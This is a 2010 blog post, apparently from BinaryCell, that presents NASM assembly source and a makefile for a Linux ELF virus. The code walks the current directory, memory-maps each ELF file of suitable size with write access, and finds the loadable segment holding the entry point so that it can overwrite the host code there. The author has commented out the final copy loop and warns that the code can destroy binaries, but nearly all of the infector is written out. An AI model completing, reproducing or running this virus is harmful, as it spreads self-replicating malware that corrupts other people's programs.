25 January 2010

GNU/linux virii example

Warning, this code can be destroy binaries on local directory!
Is dangerous code, use at your own risk and NEVER run as root

Code:
%define _syscall 0x80

%define _exit  0x1
%define _write  0x4
%define _open  0x5
%define _close  0x6
%define _lseek  0x13
%define _readdir 0x59
%define _mmap  0x5a
%define _munmap  0x5b

%define STDOUT  0x1
%define O_RDONLY 0x0
%define O_RDWR  0x2
%define SEEK_END 0x2
%define PROT_READ 0x1
%define PROT_WRITE 0x2
%define MAP_SHARED 0x1
%define PT_LOAD  0x1

%define CODE_START EBP-4
%define CODE_END EBP-8
%define DIR_DESCRIPTOR EBP-16
%define DIR_POINTER EBP-20
%define FILE_DESCRIPTOR EBP-296
%define FILE_SIZE EBP-300
%define MMAP_ADDR EBP-332
%define ELF_ENTRYPOINT EBP-344
%define ELF_PHOFF EBP-348
%define ELF_PHSIZE EBP-352
%define ELF_PHNUM EBP-356
%define PH_FILEOFF EBP-368
%define PH_VADDR EBP-372
%define PH_FILESIZE EBP-376

%define MIN_FILESIZE 1024*2
%define MAX_FILESIZE 1024*1024*25

%define FILE_ELF_ENTRYPOINT  24
%define FILE_ELF_PROGRAM_HEADER_OFFSET 32


global _start
section .text

; ####################################################
; # EntryPoint
; ####################################################
_start:
 jmp linux_host
; ####################################################
; # GNU/linux part
; ####################################################

linux_host:
      ; [CODE_START] - 0xc
     ; [CODE_END] + 0x9
 mov EBP, ESP  ; any points must have a reference
 call _end
greetings_str: db "Hello world from GNU/linux!",0xa,0
greetings_str_l equ $ - greetings_str
_real_start:
write_hello_world:
 mov EAX, _write   ;
 mov EBX, STDOUT   ;
 mov ECX, [CODE_START]  ;
 mov EDX, greetings_str_l  ;
 int _syscall   ; write hello
opendir:
 mov EAX, '.'   ; construct string "."
 push EAX    ; actualy on ESP

 mov EAX, _open   ;
 mov EBX, ESP   ;
 mov ECX, O_RDONLY   ;   
 int _syscall   ;
 cmp EAX, -1    ;
 jle exit    ;
 push EAX    ; save the descriptor EBP-16 (DIR_DESCRIPTOR)
 mov EAX, 446   ;
 push EAX    ; save the actual dirp in EBP-16 (DIR_POINTER)
 sub ESP, 268   ; allocate space for readdir struct
readdir:
 mov EAX, _readdir
 mov EBX, [DIR_DESCRIPTOR]
 mov ECX, ESP
 mov EDX, [DIR_POINTER]
 int _syscall
 cmp EAX, 1
 jne .exit
 mov [DIR_POINTER], EAX
 call open
 jmp readdir
.exit:
 mov EAX, _close   ;
 mov EBX, [DIR_DESCRIPTOR]  ;
 int _syscall   ; close directory
 add ESP, 4    ; restore stack
 jmp exit

open:
 mov EAX, _open   ; open file
 mov EBX, EBP   ;
 sub EBX, 278   ; obtain file name string from stack
 mov ECX, O_RDWR    ;    
 int _syscall   ;
 cmp EAX, -1    ;
 jle .exit    ;
 push EAX    ; save the descriptor (FILE_DESCRIPTOR)
.filesize:
 mov EAX, _lseek   ;
 mov EBX, [FILE_DESCRIPTOR]  ;
 mov ECX, 0x0   ;
 mov EDX, SEEK_END   ;
 int _syscall   ; determine filesize
.filters:
 cmp EAX, MIN_FILESIZE  ;
 jle .close    ; simple minimum filesize filter
 cmp EAX, MAX_FILESIZE  ;
 jge .close    ; simple maximum filesize filter
 push EAX    ; save the file size in (FILE_SIZE)
 call mmap
 add ESP, 4
.close:
 mov EAX, _close   ;
 mov EBX, [FILE_DESCRIPTOR]  ;
 int _syscall   ; close file
 add ESP, 4    ; restore stack
.exit:
 ret
mmap:
 mov EAX, 0x0
 push EAX
 mov EAX, [FILE_DESCRIPTOR]
 push EAX
 mov EAX, MAP_SHARED
 push EAX
 mov EAX, PROT_READ | PROT_WRITE
 push EAX
 mov EAX, [FILE_SIZE]
 push EAX
 mov EAX, 0x0
 push EAX
 mov EBX, ESP
 mov EAX, _mmap
 int _syscall
 cmp EAX, -1
 je .restoremap
 push EAX  ; save mmap addr (MMAP_ADDR)
 call identify
.munmap:
 mov EAX, _munmap
 mov EBX, [MMAP_ADDR]
 mov ECX,[FILE_SIZE]
 int _syscall
 add ESP, 4
.restoremap:
 add ESP, 24    ; restore stack
.exit:
 ret
identify:
 mov EBX, [MMAP_ADDR]
 mov EAX, [EBX]
 cmp EAX, 0x464c457f   ; 0x7f, 'E', 'L', 'F'
 jne .exit
 add EBX, 4
 mov EAX, [EBX]
 cmp EAX, 0x00010101   ; 0x1, 0x1, 0x1, 0x0
 jne .exit
 call iself
.exit:
 ret
iself:
 mov EBX, [MMAP_ADDR]  ;
 add EBX, FILE_ELF_ENTRYPOINT ;
 mov EAX, [EBX]   ; obtain entrypoint
 push EAX    ; save entrypoint (ELF_ENTRYPOINT)

 add EBX, 4    ;
 mov EAX, [EBX]   ; obtain program header offset
 push EAX    ; save them (ELF_PHOFF)

 cmp EAX, 0    ; have a valid program
 je .exit    ; header?

 add EBX, 14    ;
 mov EAX, 0    ;
 mov AX, [EBX]   ; obtain program header entry
 push EAX    ; size and save them (ELF_PHSIZE)

 add EBX, 2    ;
 mov EAX, 0    ;
 mov AX, [EBX]   ; obtain program headers number
 push EAX    ; and save them (ELF_PHNUM)

 mov EDX, [MMAP_ADDR]  ;
 add EDX, [ELF_PHOFF]  ;
 sub EDX, [ELF_PHSIZE]  ; addr of section

 mov ECX, 0    ;
 mov CX, [ELF_PHNUM]   ; counter for loop

.walksections:
 add EDX, [ELF_PHSIZE]  ; next section
 mov EAX, [EDX]   ;
 push EDX
 push ECX
 cmp EAX, PT_LOAD   ;
 je .isloadable   ; is loadable segment?
.postloadbl:
 pop ECX
 pop EDX
 loop .walksections
.cleanup:
 add ESP, 8
.exit:
 add ESP, 8
 ret
.isloadable:
 add EDX, 4
 mov EAX, [EDX]
 push EAX    ; save file offset PH_FILEOFF
 add EDX, 4
 mov EAX, [EDX]
 push EAX    ; save virtual addr PH_VADDR
 add EDX, 8
 mov EAX, [EDX]
 push EAX    ; save size in file PH_FILESIZE

 mov EAX, [PH_VADDR]   ;
 mov EBX, [ELF_ENTRYPOINT]  ;

 cmp EAX, EBX   ; is the entrypoint more than
 jge .clean    ; this section?

 mov EAX, [PH_FILESIZE]  ;
 add EAX, [PH_VADDR]   ; max size
 mov EBX, [ELF_ENTRYPOINT]  ;

 cmp EAX, EBX   ; is the entrypoint smaller than
 jle .clean    ; this section?
   ; at this point the section are identified by the code
 call infectroutine
.clean:
 add ESP, 12
 jmp .postloadbl
infectroutine:
 mov EAX, [ELF_ENTRYPOINT]  ;
 sub EAX, [PH_VADDR]   ;
 add EAX, [PH_FILEOFF]  ; offset code in EAX
 add EAX, [MMAP_ADDR]  ; mem offset
      ; [CODE_START] - 0xc
     ; [CODE_END] + 0x9
 mov ECX, [CODE_START]   ;
 sub ECX, 0xc    ; start addr
 mov EDX, [CODE_END]    ; end addr

.cloneloop:
; Comented for security reasons
; mov BL, [ECX]   ;
; mov [EAX], BL   ; dump virii
; add EAX, 1    ;
; add ECX, 1
; cmp ECX, EDX
; jl .cloneloop
 ret
exit:
 mov EAX, _exit
 mov EBX, 69
 int _syscall
_end:
 call _real_start


And the makefile:
all: virii
virii:
nasm -f elf virii_linux.nasm
ld -e _start virii_linux.o -o virii_linux


Posted at BinaryCell

No comments:

Post a Comment


Disclaimer: In no event shall the blog owner, be liable for any damages, including without limitation, special, indirect or consequential damages, or any damages, whatsoever resulting from access or use, or inability to access or use this Website or arising out of any materials, information, qualifications or recommendations on this Website.